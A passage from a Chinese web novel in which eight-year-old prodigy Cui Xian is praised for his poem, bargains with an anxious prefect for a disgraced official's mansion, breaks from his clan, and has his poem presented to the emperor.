大家本来还在期盼呢,却没想到盼来这样一个回答,都有些悻悻然的失望。 结果下一刻。 便见吴清澜突然笑出声来。 他欣慰的看向自己这群学生,说道:“然,《论语·为政》篇有言:见义不为,无勇也。你们今日,见恶则惩,为伸张正义而战。以后,当以此为荣。而作为你们的夫子,我亦以你们为荣。” “《孟子·公孙丑上》篇有言:我善养吾浩然之气……至大至刚。你们虽年幼,但读过圣贤书,当如春草破土,虽幼而刚直,养浩然气于胸,日后必成栋梁。” “为师想用《孟子·尽心章句上》篇里一句话,来告诫你们:穷则独善其身,达则兼善天下。” “今日惩奸为达之义举,而平日读书则是穷其修身。望你们能如《尚书·周官》篇说的那般,日后功崇惟志,业广惟勤!” “最后,为师想再次表扬你们。你们今日之表现,善,大善!” 他洋洋洒洒夸了一大堆。 周围百姓们鲜少见过夫子授课,只能听懂个大概意思,但却不影响他们跟着鼓掌叫好。 裴坚等人被夸到脸色涨的通红。 但被这么多路人强势围观,竟又有几分赧然羞涩心虚。 其实……他们也没有夫子夸得那么优秀啦! “多谢夫子教诲,学生等人谨记于心。” 崔岘拱手道谢。 而后从一位同窗的书箱里,借来纸笔,笑着同周围一帮学子们说道:“诸位,今日一事,虽已落幕。但大家倾囊相助,齐心协力之情谊,必然不会就此落幕。” “所以我想请诸位,在此签下自己的姓名!我们做一本‘少侠惩恶同窗录’,此录中记载的每一个名字,都是少侠功臣!” “也好叫这本同窗录,记录我们灿烂张扬的年少青春!” 这样一部‘同窗录’,虽然没有实质性的奖励。 但这是他们青春、无畏、与勇气的见证啊! “好!” “今日我们有幸,能和崔岘兄一起,惩奸除恶。” “咱们之间,来日也要互相扶持,如夫子寄托那般:功崇惟志,业广惟勤!” 小学子们激动极了。 在崔岘的带领下,众人一起,神情郑重的在‘同窗录’中写下自己的名字。 远处。 叶怀峰尚且没有走,他看着站在那群稚童当中,意气风发的崔岘,心生无限感慨。 这,便是‘领袖’啊。 振臂一呼,便有无数人愿意呼应,为之摇旗呐喊。 想来再过些年,这士林之中,必定有南阳学子的一片天地! 等‘同窗录’写完后。 崔岘拿着那叠手稿,笑着递给吴清澜:“夫子,您也来留个名字吧。” 吴清澜感慨不已。 他知道,今日自己也沾了学生的光。《悯农二首》一出,作为崔岘的夫子,他的名声,也跟着水涨船高。 得此优秀学生,夫复何求啊! 吴清澜郑重在上面写下自己的名字。 而后。 在众多学子们激动的注视下。 吴清澜借来红墨,笑着在‘同窗录’的扉页,画了一朵漂亮的红花。 送你一朵小红花! 就这么一朵红花,让众学子开心不已。 而今日,让他们开心激动之事,显然不止这一件。 叶怀峰县令笑着走了过来,朝他们道:“这本‘少侠惩恶同窗录’,且让衙门中人也摘录一份吧。本官将命其写入南阳县志,好叫后人瞻仰诸位少侠的惩恶风采。” 哇! 一帮小子们高兴疯了,一个个开心的欢呼出声。 而后,各位‘少侠’们彼此拱手道别。 裴府。 裴老夫人已经在府门外张望许久。 终于,便见裴坚兴冲冲跑回来,隔着老远便喊道:“祖母,祖母我跟你讲,我今日同岘弟一起,干了一件天大的好事!” 裴老夫人一把将小孙子抱在怀里,激动道:“哎呦听说了听说了,我的乖孙,太厉害啦!” 不仅仅裴府。 高奇家,李鹤聿家,庄瑾家,以及参与此件事的上百个‘少侠’家里,都在发生着这温馨一幕。 崔家自然也不例外。 回去后,老崔氏,和两个儿媳妇一起,做了好丰盛一桌哺食。 堂屋里点燃起清亮的油灯。 一家人神情振奋,个个精神抖擞。 他们是真高兴啊! 甚至老崔氏还破天荒的,打了一壶清酒。 崔岘、崔钰兄弟俩,也分到了一小杯。 一家人笑着齐齐举杯庆贺:“敬咱们心往一处使的一家子人,敬咱们以后的好日子!” 老崔氏鲜少喝酒,但因为高兴,多贪了两杯。 次日,她在一片吵嚷声中起床。 一个邻居在外面激动喊道:“崔家老嫂子,快起来开门呐!知府大人,同知大人,县令大人,带着知府、县衙数十位官老爷,来您家慰问来啦!” 70、知府、同知大人家访慰问 南阳知府姓宋。 作为一名正四品的官员,他久经官场,深谙为官之道。 是以‘揠苗助长’风波闹起来的时候,宋大人果断选择避风头,暗中静观其变。 若是不出意外的话。 他会等舆论风浪明晰后,再站出来铁口断案。 然后收获百姓的‘鲜花和掌声’。 但,意外来了。 而且来的如此猝不及防,呈奔雷破竹之势! 叶怀峰赶去河西村后不久,知府大人麾下的人,也暗中赶到了。 于是那《悯农二首》,当天便出现在宋知府书房的案台上。 宋知府年纪大了,又常年读书批公文,所以有些近视。 他坐在书案边,拿起属下递来的诗帖,一边眯眼看,一边下意识端起茶盏,往嘴里送茶。 然而下一刻—— “噗!” 刚送进口中的茶水,没忍住直接喷出来。 宋大人放下茶盏狼狈起身,惊艳呆滞的将手中的《悯农二首》又复读几遍,脸色当即就白了。 拿着诗帖的手,也在微微颤抖。 他是正儿八经的进士出身,胸有笔墨,自然能看出这首诗的含金量。 若是没穿这身官袍,宋知府必当拍案叫绝,赞一声:好诗! 可如今他穿着一件四品官袍啊! 这首诗的含金量有多高,杀伤力就会有多强。 用词简洁,字字如刀。 宋知府以自己浸淫官场数十年的直觉来看,这首诗,绝对要上达天听的! 简单来说:不管赵志有没有犯事儿。 这首诗一出,他都完蛋了。 因为这简直是足以写进教科书里的‘政治正确’标杆案件! 吏部收到这首诗,绝对会呈到内阁。 八岁神童作《悯农二首》。 内阁的阁老大人们一个个都跟人精似的,怎么可能会放弃这样一个让皇帝陛下龙心大悦的好机会。 神童天赐,佑我大梁。 这甚至还能包装成一个‘祥瑞’事件。 宋知府绝望闭上眼睛。 他仿佛已经看到了布政史李端那张愤怒咆哮的脸。 看到督察院、巡按御史派遣来的天官,以及布政史司、按察使司的官员们,齐齐居高临下,向自己问责的惊悚场面。 不不不,这还算轻的。 若是最后事态被继续放大,他这位南阳知府,甚至还得亲自进京,去吏部述职。 太可怕了! 宋大人哆嗦着,慌忙将自己的副手吴同知喊来。 然后吴同知也跟着哆嗦了。 他俩难兄难弟,一旦出事儿,谁也跑不了。 有道是:聪明反被聪明误。 早知事态会这般发展,当时就该站出来,而非借机开溜。 如今,《悯农二首》已强势传颂而出。 青天大老爷叶怀峰狠狠出了一把风头。 作为南阳知府和同知,他俩竟然在这件事中‘隐形’了! “还有办法补救,还有办法补救。” 宋知府焦急道:“本官猜测,布政史大人马上就会命我去开封述职。这个还好,至少我们熟悉李大人的禀性。” “怕就怕在,不日有天官来问责,稍有差池,咱俩就栽了!所以,趁着那些能要命的人还没来,先去苦主家慰问一番。虽不指望他能帮咱说情,但至少别说要命的话!” 正所谓:有些事不上秤没有四两,上了秤一千斤也打不住。 上头若是真想彻查,谁敢说自己经得住查? 吴同知擦了把额头上的汗,跟着点头:“是极是极,我们明日就去崔家慰问。” 宋知府又警告道:“叶怀峰如今乘势而起,你和他那些矛盾,尽早化解。他替那崔岘断了案,自然有情分在,莫要在这个关键时候,葬送你自己的仕途。” 吴同知欲哭无泪。 早知这样,他何必贪恋那些小权。 他明年就要升迁了,这下别说升迁,能保住目前官位都算是万幸! 于是当天晚上。 吴同知悄悄去了叶县令家,一把鼻涕一把泪的哭诉自己以前被猪油蒙了心肝,遭赵志蒙骗。 叶怀峰在心里放声大笑,只觉狠狠出了一口恶气。 但还得使劲压住嘴角,同他虚与委蛇。 再然后就是次日。 南阳县城里《悯农二首》传唱越来越广。 宋知府,吴同知再也坐不住,喊来叶县令,带领县衙、府衙上下数十位官员一起,来到了仲景巷。 这个时候,自然不必忌讳行事高调。 恰恰相反,他们就得高调起来,在‘赵志案’中有足够的参与度啊! 于是这日早晨。 数顶官轿,数十位着官袍的官老爷,和大量衙门差役,停在了仲景巷口。 那宏大的场面,引来无数百姓瞠目围观。 随即有人了然,欣喜道:“是知府大人和同知大人,大人们一定是来褒奖小神童崔岘的。” 整个仲景巷都跟着轰动了。 他们这个陈旧的巷子,还从未接待过这般大人物呢! 而且还一次性来了数十位穿着官袍的大人! 得知崔家人还没有起床,有邻居去慌忙帮忙喊门。 宋知府站在巷子口,一副和蔼可亲的模样:“无碍无碍,是本官昨日听说那赵志作恶,心中实在愤慨,痛惜我南阳百姓,竟遭此人如此欺辱磋磨。” “而后读了小神童崔岘的《悯农二首》,当场感动到潸然泪下,钦佩不已。如此文采,本官自愧不如啊。” “想不到我南阳,竟出了这样一位神童奇才,属实是本官之幸,南阳之幸!” “因此一大早未打招呼,便按捺不住心中激动,前来慰问我南阳的神童功臣。说起来,倒是本官唐突了。” 如今南阳百姓是真喜欢崔岘。 听到知府大人不吝惜夸赞崔岘,都格外开心激动。 旁边吴同知不逞多让,也慌忙开启夸夸模式,恨不得把崔岘夸成一朵花。 叶怀峰看的叹为观止。 原来,脸皮厚也是做官的一部分啊,至少以他现在的微末‘功力’,是说不出这般羞耻之话的。 知府大人和一众官员在巷子外等待的时候。 仲景巷里自然一片沸腾。 崔老头担惊受怕一整晚,听见动静打开门,看到外面一群乌泱乌泱的官老爷,当场吓得尿了裤子,眼泪也跟着出来了。 林差役见状哪还有不懂得,着急道:“岳丈你说实话,崔家先前遭遇磨难,是否跟你有关。” 崔老头哆嗦着道:“我……我哪里知道,老崔氏的孙子那般厉害,竟然能扳倒赵志。” 林差役脸色惨白:“你要把咱家人都害死啊!” 他的娘子得知此事,也一副天塌了的表情。 有道是:几家欢喜几家愁。 崔老头一家正惊恐绝望。 而老崔氏一家,则是欢喜到晕晕乎乎。 她听到邻居的喊声,难以置信的起床,整个人都有些不知所措的哆嗦。 县令大人、同知大人、知府大人,和县衙、府衙几十位官老爷一起,来自家慰问? 娘嘞! 就算相公、公公还活着的时候,家里都没有来过这么多官老爷啊! 老崔氏哆嗦着,去各个屋子,把一家子人都喊起来。 “娘,你不会喝迷糊了吧?” “什么?” 崔伯山、崔仲渊,以及林氏、陈氏等人睡眼惺忪,嘴巴张的老大。 连崔岘都很是惊讶。 随即了然:这是政治作秀,作到自家来了啊! 但此事对崔家百利而无害,而且崔岘还暗搓搓盯住了赵志家的大宅呢。 因此,他笑着提醒道:“祖母,既然各位大人们已经到了家门外,咱们自是不好让人家久等。快快洗漱换好衣服,出门迎接。” 是极是极! 经岘哥儿提醒,老崔氏反应过来,立刻安排激动的一家子洗漱、换上体面衣服。 这不是拿乔,是对登门者的尊重。 约莫半盏茶功夫过去。 崔家的大门终于打开。 仲景巷子里外,早已围满了看热闹的人群。 当即有人欣喜惊呼:“出来了,出来了!” 老崔氏牵着岘哥儿,带领一大家子慌忙出来迎接。 但接下来发生的一幕,让围观的百姓们看到瞠目傻眼。 便见站在巷子口的宋知府,远远瞧见崔家人出来,竟眼圈一红,眼泪陡然落下。 知府大人擦了擦眼角的泪水,快步上前颤声道:“本官唐突造访,但愿莫要惊到你们。哪个是作出《悯农二首》、揭露赵志丑恶真面目的崔家岘哥儿?快快上前来,好叫本官仔细瞧瞧。” 旁边。 吴同知慢了半拍,在心中怒骂宋知府老狐狸,戏说来就来。 但他也不逞多让,看向老崔氏,目光淳淳殷切,眼角微湿:“老人家,便是你辛苦培养出神童岘哥儿的吧?本官得替南阳百姓,甚至替我大梁诗坛,向你郑重表示感谢啊!” 嘶! 听闻这话,周围百姓震撼到失声。 甚至有感性之人,泪洒当场。 两位老大人,真是爱民如子,识才惜才啊! 想来要不了多久,知府、同知大人殷切慰问神童崔岘的事迹,便会传遍整个南阳县城。 而被如此夸赞的老崔氏,则是激动的险些没有晕厥过去。 她一介老妇,竟然跟大梁诗坛扯上关系啦? 唯有叶怀峰县令讷讷站在一旁,急的直跺脚。 他也想过去整上两句,可一是马甲被拆穿,现在瞧见崔家人,总觉得羞耻。 二是面皮太薄,实在搞不来这种高端操作啊! 71、拿下赵宅,单开族谱 看得出来,宋知府求生欲真的很强。 因此戏演的格外卖力。 见崔岘走上前来。 宋知府半蹲下去,不顾官袍沾染到地面的尘土,紧紧攥住崔岘的手,殷切道:“好孩子,你便是崔家岘哥儿吧。果真秀外慧中,一表人才。” “孩子莫怕,今日本官带着衙门众官员,是特地来褒奖探望你的。” “感谢你为咱们南阳,惩奸除恶啊!来孩子,咱们回家。” 崔岘:“……” 说实话手被紧紧地握着,再听到这样一番话,他差点没绷住。 演员。 这就是演员吧! 但你要是跟我飙演技,那我……我也要飙起来了奥! 因此。 崔岘看了一眼宋知府,而后低下头,窘迫道:“回大人的话,草民家中清贫破落,担心无法招待好大人。” 方才。 趁着还没开门出来迎接诸位官老爷的时候。 在崔岘的建议下,全家人把院子里值钱的、体面的东西,都收起来了。 宋知府闻言,表情越发慈爱。 他看向身后的一众官员,说道:“看看,那贪官赵志赚的盆满钵满。真正的神童天才,却落魄如斯。” “实在让你我愧疚啊。” 他话音落下。 一众官员齐呼‘是是是’,并且非常亲民的带着猪肉、大米、鸡蛋等等,表示这是官府对小神童的慰问和褒奖。 崔岘惊喜的瞪大眼,感慨道:“多谢各位大人,这么多东西,我家院子太小,都放不下哩。” 没有人发现。 在说到‘我家院子太小’这一句的时候,他反手握紧宋知府的手指。 宋知府眉心一跳。 他顺势站起来,牵着崔岘,神情殷切的往仲景巷里走去,余光却忍不住观察对方。 这八岁的孩子,眉眼灵动,模样稚嫩,一派天真姿态。 以至于宋知府都有点不敢确定,刚才对方握紧自己手的那一下子,是不是自己多心了。 另一边。 吴同知则是搀扶着神情激动的崔老太太,跟在宋知府身后。 其余崔家人脸色通红,表情受宠若惊。 叶县令,以及府衙、县衙一帮官老爷紧紧跟随,先后拎着慰问礼品,前往崔家。 娘嘞! 无数百姓看的瞠目咂舌,震撼呆滞。 这种场面,他们做梦都不敢想啊! “知府大人、同知大人竟然如此随和亲民。” “崔家是真风光呐!” “何时我家也能祖坟冒青烟,出个小神童哟。” 百姓们羡慕的眼睛发直。 等到了家门口。 崔岘握紧宋知府的手,回看向身后一群官员,赧然道:“家里院子太小,怕是都安置不下这么多大人嘞。” 与此同时。 宋知府的手,再次被用力捏了一次。 卡着说‘院子太小’时候捏的! 这下宋知府哪里还有不懂得? 从他见到崔岘开始,对方只说了三句话,句句不离‘院子太破太小’。 宋知府看向神情赧然的崔岘,心想好家伙,你也是个演员啊! 才八岁,作出《悯农二首》,扳倒赵志。 果然不简单。 而且这小子一直反复强调院子小,再加上他是扳倒赵志的主力。 难不成…… 嘶,小小年纪,胃口不小。 但只要自己能安稳渡过这一关,把赵家宅院拨给他也不是不行。 宋知府在心里很快有了决断,面上却笑道:“无碍,那就我跟吴同知、叶县令进去坐坐。其余人尽尽心意便好。” 说话的同时,他率先牵着崔岘进了院子。 进去的一瞬间。 趁着没别人,宋知府压低声音试探道:“赵家那院子,还算宽敞。但就怕事情闹太大,不好收场,到时候本官做不了这个主啊。” 崔岘眨眨眼:“事情怎么会闹大呢?大人放心,不会闹大的。” 二人互相对视,随后齐齐笑出声来。 崔岘心想:老东西。 宋知府心想:小狐狸。 但不管怎么说,二人在极短的时间内达成共识,完成了一次资源置换。 后面搀扶着老崔氏进来的吴同知瞧见了,隐约明白了些,在心里松了口气。 好好好,苦主这边安抚住了。 接下来压力至少能去掉一半。 两位大人心头安稳了,态度也越发和煦。将崔家大门敞开,坐在靠近门口位置,同一家人话家常。 问老崔氏身体可还健壮。 问崔岘的学业。 总之,那氛围要多和谐有多和谐。 巷子里,强势来围观的百姓们,时不时发出没见过世面的惊呼。 “我看见知府大人半蹲着,揉小神童的脑袋,夸他有才识胆量。” “同知大人甚至还关切询问老崔氏,并且说自己略通医理,给那老崔氏把脉呢。” 哎哟! 这真是几十年难得一见的场面呐。 百姓们惊呼声一浪高过一浪。 隔壁崔老头家听得彻底崩溃了。 最后,林差役一咬牙,当场拉着崔老头,去崔岘家门外自首求饶。 这事儿肯定瞒不住。 那还不如早早自首,求个开恩。 “启禀知府大人,同知大人,县太爷!” 在一众百姓哗然的注视中,林差役跪倒在地,颤声道:“赵志之所以盯上小神童家的田地,全因为我这岳丈而起。恳请大人降罪责罚!” 哗! 听到这话,百姓们顿时愤怒了。 仲景巷里很多人本就厌恶崔老头,因此很快便将两家的恩怨讲述出来。 崔老头生无可恋的跪倒在地上,吓得浑身直哆嗦。 宋知府没想到还有这样一桩可以‘补救’的案件,心中大喜。 面色却大怒:“好一个恶邻!一点小小争执,竟然想着在背后致人死地。你教唆赵志兼并土地,罪责不可饶恕,来人,速速将其拿下!” 衙门差役当即将崔老头捉拿。 不曾想。 老崔氏却愤恨站出来,恶狠狠地看着崔老头:“好叫各位大人、以及在场诸位知道,此人可不仅仅是我家邻居,还是我们同姓同宗的一家人。” 而后,老崔氏便将二十年前,同崔老头的旧怨,一并当众说了出来。 众人听后,齐齐怒骂崔老头不是东西。 竟然将寡嫂一家,迫害到如此凄惨。 宋知府听完前因后果,面色有些为难。 有道是:清官难断家务事。 这家都分了二十年,时间太过久远,而且是崔家族老们自己定下来的决策。 他纵然是知府,也没法重新断这个家务官司啊。 好在。 崔岘也并非让宋知府断家务事,他站出来,看向宋知府,道:“家务事琐碎糟心,给大人添麻烦了。但大人也看到了,此人心术不正,分家了二十年,仍旧对我家抱有恶意。” “所以小子厚着脸皮,恳请大人将我崔氏族老传来,帮小子一家做个见证。” 宋知府闻言心中腹诽。 给我添麻烦,说的好听。 你这小狐狸怕是在我来的一瞬间,就已经想好了问我要赵家大宅,再顺便帮你家撑腰吧。 但有道是送佛送到西,此事也不难办,因此宋知府便准了。 老崔氏等崔家人听到崔岘这话,明白了什么,一个个激动的脸色发红。 迟到了二十年的正义,终于还是等到了! 当年有多憋屈,今日就该有多痛快。 不久后。 收到消息的各个崔家族老们先后赶来,看到如此大阵仗,吓得全都跟着前来跪拜知府大人。 等明白前因后果。 这群崔家族老,当场把崔老头骂的狗血淋头。 老崔氏红着眼睛,看向那群陌生的崔家族老,突然就觉得很没意思。 二十年过去了。 当初那些偏心眼的族老们,大都尘归尘、土归土。 她往日那些恨,到现在都不知道该恨到谁头上去。 崔岘看向祖母。 老崔氏微红着眼睛,摇了摇头。 于是,崔岘便明白了祖母的意思。 八岁的小小少年,在一帮崔氏族老们惋惜、后悔、羞愧、惶恐的注视下,向前跨出一步。 “我虽从未见过诸位,但想来诸位都是我的长辈。如今情况,你们也都知道了。二十年前,我不在,所以对诸位的做法,不予评价。” “作为晚辈,我也不想掺和上一辈的恩怨。” 在无数人的注视下,便见崔岘口齿清晰,满脸坚毅:“但我没想到,这家已分了二十年,我家仍旧还要承受这般磋磨迫害。” “各位族老扪心自问,这对我们可曾公平?” 一帮崔氏族老讷讷低头,不敢与他对视。 如今南阳城里,谁没听过小神童崔岘的大名? 这本该是他们崔氏一族的骄傲,如今……悔之晚矣啊! 见没人说话。 崔岘又道:“所以,今日当着知府大人、同知大人、县令大人,以及诸位衙门大人,和在场乡亲邻里的面,我想请诸位帮我家做个见证。” “我崔家,自河西村起家,搬迁至仲景巷。和眼前其余崔姓之人,再无任何瓜葛。” “以后,我家单开族谱,是为南阳河西村崔家。” “我崔岘,自会承担起我家光耀门楣之重担。” 小少年声音掷地有声,表情神采飞扬。 周围一帮百姓看的赞叹不已,纷纷鼓掌叫好。 好一个意气风发少年郎! 崔氏族老们闻言心痛不已,自是舍不得宗族里这样一位神童天才脱离出去。 可府衙、县衙两个衙门的大人俱在。 崔岘如今又风头正盛。 他们纵然不舍,也只能咬牙答应啊。但在心中,却恨不得把崔老头给生吞活剥了。 最后。 在宋知府等人的见证下,崔岘一家正式从先前的崔氏一族剥离出来。 是为,南阳河西崔氏。 崔老头因教唆他人兼并土地,被衙门当场收押,等待判决。 林差役则是咬牙逼迫着岳母,拿出大部分家底,变卖了家里一些金银。 自己又四处拼凑,最后凑了五十两银子,赔给老崔氏。 以作当年分家产不公的补偿。 当然,这是后话。 一切尘埃落地后。 关上门。 老崔氏抱着崔岘,呜呜痛哭:“岘哥儿,祖母是真开心呐。我怎么都想不到,二十年后,竟能把这件事做个了断。” “你祖父泉下有知,也不会再怪罪我了。” “好孩子,好孩子啊。” 其余崔家人见状,也都或唏嘘,或振奋。 因为就如岘哥儿说的那般—— 以后,他们就能单开族谱,是南阳河西村崔家了。 一家人拧成一股绳,劲儿往一处使,还怕没有好日子吗? 但崔岘表示,莫等以后,现在好日子就来咯! 他擦干净祖母的眼泪,冲家人压低声音笑道:“祖母莫哭,我这有个好消息,保准你听了,再也哭不出来。” 老崔氏泪眼婆娑看过来。 其余一家子人也都看过来。 便听崔岘笑道:“还记得我说要单开族谱、拿下赵志时候的话吗?此处宅院太小,还得付房租,不妥不妥。” “既要单开族谱,又岂能无大宅安家?” “知府大人已经同意了,等赵志案结束后,那赵家的宅子,就能归咱家了。” 院子里霎时间陷入沉默。 崔伯山、崔仲渊,以及林氏、陈氏眼睛都瞪直了。 赵家那般气派大宅,马上就要姓崔了? 老天呐,跟做梦似的! 老崔氏也果真忘了哭,一屁股坐在地上,咧开嘴:“哎哟……哎哟我的娘!真把赵家宅子送给咱家啦?” 神了! 岘哥儿这孩子,是真的厉害哟! 才刚带着一家子出河西村不久,大宅都给安排上了。 老崔氏坐在地上,眼泪都没干呢,整个人又开始抑制不住的傻笑。 她高兴啊! 72、上达天听,帝赞神童! 这边,宋知府刚安抚好崔岘,同意将赵宅拨给崔家。 次日开封府便来信:命宋知府前往开封布政使司述职。 该来的还是来了! 宋知府虽然是老油条,可当官越久,胆子越小啊。 他和吴同知二人提前对好说辞,以避免去了开封回不来,直接被扣押。待京城天官来问责时,两相口供对不上。 而后。 留吴同知在南阳知府衙门里哆嗦。 宋知府则是去了开封府布政使司里哆嗦。 三日后。 宋知府风尘仆仆赶到开封,见到李端后当场潸然泪下,跪地忏悔:“老大人,下官愧对您的栽培啊!” 布政史李端冷笑一声:“少给本官搞这些虚的!本官且来问你,那赵志兼并土地、草菅人命、贪污受贿一案,你可有参与,又参与了多少?” 宋知府当即哭诉道:“老大人明察!下官不曾参与啊!” 李端闻言,脸上的冷意稍稍收敛。 而后道:“你在本官手下为官多年,本官自然不想看你落得个身败名裂的下场。但这一切,都还要看你是否跟本官说了实情。” “从今日起,你便待在开封,哪里也不许去。” “本官已写了奏疏,快马加鞭呈送吏部。此案件,届时自会有督察院、巡按御史派遣天官来查证。” “你……好自为之。” 宋知府当即感恩戴德道谢。 李端这话,看似公正不阿,但其实也给他透露了足够的信息。 只要他确实是干净的,身为二品布政使,李端自然能护住他,不会任由京城来人恶意查账。 但此事他要不干净,那就没办法了。 谈完公务。 李端突然又问道:“你可曾见过那《悯农二首》的作者崔岘,此子品性如何?” 宋知府思索片刻,谨慎回答道:“秀外慧中,七窍玲珑,小小年纪便自有其神采风骨。” 听闻此话,李端满意点头。 不知是有意,还是无意,便听布政史大人低声喃喃道:“甚好甚好,也不枉本官将此子荐给我师兄为徒。” 布政史大人的师兄……东莱先生! 天呐! 宋知府闻言浑身一震。 而后在心中无比庆幸——还好他答应把赵宅拨给崔岘了! 此子竟有这般通天造化! 若崔岘真能拜东莱先生周雍为师。 那么,他将拥有一位大梁王朝最厉害的大儒老师,一位二品布政史师叔,和一位当朝次辅阁老师祖! 而次辅大人,身上还顶着一个从一品‘少傅’的三孤加衔。 简单来说:次辅不见得能升任首辅。 但加衔‘少傅’的次辅,基本就可以锁定下一任首辅的位置了。 这怎么不能说是通天造化呢? 宋知府震惊过后……突然回过味儿来。 李端为何要把此话特地点明,让自己听到? 说明李端早已打探清楚崔岘的情况,甚至自己在南阳去崔岘家慰问,人家怕是也早已探查清楚。 人家愿意保自己,不是因为什么上下级情谊。而是自己识趣,主动去照拂了李端的‘未来师侄’崔岘啊。 想明白其中前因后果,宋知府悟了! 他这一难关,看似还没来,但其实已经过了。 李端会保他。 而他,需要老老实实待在南阳,将那只小狐狸……不不,是小祖宗! 把那小祖宗给好生照顾好咯! 想明白其中关键。 宋知府长舒一口气,忍住泪意,朝李端泣声道谢:“多谢大人,下官多谢大人啊!” 李端笑而不语。 但他没有骗宋知府。 早在宋知府从南阳启程,赶往开封的时候。李端的奏疏,已经快马加鞭,提前呈去了吏部。 当然,李端写了两封信。 一封送去了吏部。 另一封,则是送去了他的老师、次辅阁老大人,郑霞生的府上。 郑霞生、字汉阳,当朝次辅,加从一品少傅衔。 这日用过哺食。 郑阁老在自家书房,拆开小徒弟送来的信件,眯起眼睛阅读。 他先是看完了赵志案的始末,表情平静搁置一旁。 这样一位小小县丞案件,不足以阁老大人放在心上,更不足以李端特地写信过来。 重头戏应该在别处。 果然。 当郑阁老取出信件里几张字帖,和《咏鹅》《悯农二首》两首诗以后,眼睛当即猛然亮起。 好字! 好诗! 拿着这几张字帖,两首诗,再回看赵志案。 郑阁老当即又赞叹道:“好手段!” 这声赞叹,自然是送给崔岘的。 这八岁的孩子,不仅文采斐然,还心思通透,步步为营,乘大势以弱胜强! 等看完信件上所有内容后,郑阁老借着油灯,瞧见信纸背面似乎有墨痕。 他狐疑翻过去。 而后阁老大人眼睛当即瞪大了许多。 便见那所有信纸背后,都写着一句话:崔岘,八岁开蒙,如今八岁半。 短短半年时间。 便能写出如此惊艳之字,如此精彩之诗? 好家伙! 这是什么妖孽啊? 饶是郑阁老见多识广,此刻都被惊到了。 而震惊过后,郑霞生也明白了徒弟李端的意思。 他们师徒三人,郑阁老在朝堂中心,李端镇守一方,周雍名震士林。 也是时候,该培养个小接班人咯。 但不管是郑阁老,还是李端,身在官场都不适合直接收徒。 反倒是周雍最为合适。 郑阁老看着那两张诗帖,越看越喜欢,抚摸着胡子笑的格外和蔼:“如此旷世奇才,便宜了周雍那厮哟。乖乖徒孙,且看师祖送你一场好造化。” 次日。 吏部审核过赵志案件后,不出意外,并《悯农二首》一起,将折子呈到了内阁。 午门之内、奉天门之东、文华殿之南,文渊阁。 郑阁老坐在案前,颤巍巍打开一封折子。 翻阅过后。 他像是第一次看过那《悯农二首》般,颤抖着起身:“好诗!好诗啊!八岁稚童,竟能作出如此振聋发聩之诗!可见我大梁人才济济,天佑陛下,天佑大梁啊!” “等今日上朝,本官要将这首诗,呈现陛下。” 什么? 听闻这话。 其余内阁大学士、殿阁大学士、中书舍人们,都过来好奇围观。 等看完《悯农二首》后,一帮阁臣们都拍案叫绝。 尤其是,这首诗竟是一位八岁神童所作! 实在令人惊叹。 其中一位中书舍人看过《悯农》,迟疑道:“四海无闲田,农夫犹饿死。这般诗句虽振聋发聩,但呈给陛下查阅,是否不妥?” 听闻此话。 包括郑阁老在内,其余阁臣都笑了。 怎么会不妥呢? 那可太妥了! 因为陛下看到这首诗,必不会觉得那八岁稚童是在质问自己。反而呢,陛下还能拿着这首诗,去质问规训群臣啊! 于是。 这日早朝。 当着文武百官的面,郑阁老呈给陛下两首诗,说是河南南阳一八岁稚童所作。 太和殿中。 在群臣百官惊讶的注视下。 便见一向不苟言笑的皇帝陛下,在看完那诗帖后,朗声大笑:“果真好文采!此诗,竟是一八岁稚童所作?好,好啊,想不到,我大梁竟有如此神童天才。” 而后。 皇帝命殿头官,当朝诵读《悯农二首》。 百官群臣目露惊艳震撼。 如此振聋发聩之诗,竟是由一位八岁稚童所作? 八岁神童崔岘,便理所当然的,成为今日朝会的‘主角’。 一位官员站出来,大声道:“恭喜陛下,贺喜陛下!” 端坐在高位的皇帝轻‘哦’一声:“你倒是说说看,朕有何喜啊?” 那官员欣喜道:“如此年幼的八岁神童,竟然能作出这般振聋发聩之诗!说是文曲星下凡,也不为过!文曲星下凡辅佐襄助,说明陛下乃皇权天授、既寿永昌的真龙天子!天佑陛下,天佑大梁!” “陛下,此乃祥瑞啊!” 但凡今日崔岘是个成年人,这位官员都不敢这么吹嘘。 可妙就妙在,崔岘只有八岁。 谁都不会在这件事上不凑趣,触陛下的霉头。 因此,文武百官齐齐跪地,高呼: “天佑陛下,天佑大梁!” 皇帝龙心大悦,戏谑笑道:“你们这帮人啊,只会捡好听话说。四海无闲田,农夫犹饿死,尔等将谨记于心。” “臣等谨遵陛下教诲。” 百官齐齐应和。 一时间,君臣和睦,朝堂气氛格外轻松。 根本没有人提赵志。 但所有人都懂,赵志完了。 从皇帝陛下夸赞‘神童天才’,并默许将此事定性为‘祥瑞’的那一刻,赵志便彻底完了。 下朝后。 吏部尚书找到郑阁老,笑呵呵道:“阁老大人,下官今日便派遣人前往南阳调查此案。” “另,依下官的想法,同户部、工部协商,免去南阳县百姓三年徭役,减免南阳县百姓五年六成粮税,免去崔家二十年粮税、赋税徭役。” “并协商礼部,将《悯农二首》作范诗,推广天下学堂,您老以为如何?” 郑阁老抚胡须笑道:“善。” 73、摩喉罗店铺开业 清晨。 仲景巷,崔家院子里。 一大早起来,老崔氏穿着新衣裳,在水缸旁边照了又照。 她表情略显忸怩:“老大媳妇,你再给娘看看,这衣服合身不?” 林氏闻言乐不可支:“娘您放心,合身着呐。” 不仅老崔氏收拾的格外隆重。 其余崔家人,也都特地换上了新衣。 因为家里的摩睺罗店铺‘泥宝斋’,今日便要开门营业了。 距离赵志被缉拿,已过去半个多月。 后续如何处置此人,是官府要做的事情。 对于崔家来说,这件事算是暂时告一段落。也该就此翻篇,去迎接新的美好生活。 至于赵家的宅子……目前肯定是没法拿到的。 要等京城天官过来,将案件查明,再由吏部、刑部结案,最后将赵家查封抄家。 最后留下的空宅,宋知府才能在其中运作,转到崔家名下。 这一套流程,没有个一年半载的,怕是走不完。 好在崔家也不着急。 眼前还有个新店铺需要忙活哩! 等用过早食,在一家人的簇拥下,老崔氏喜滋滋走出家门。 他们刚露面。 便有仲景巷的邻居瞧见了,热情道:“崔家老嫂子,你家那店铺,总算是要开起来了!喜事哟!恭喜恭喜!” 老崔氏笑的合不拢嘴,连连道谢。 还有邻居打量他们一大家子,而后轻‘咿’关切道:“怎地不见小神童呢?” 赵志案过后,崔家成了巷子里最受欢迎的人家。 尤其是崔岘,最是招人稀罕。 街坊邻里瞧见了,老远都会特地来同他热络打招呼。 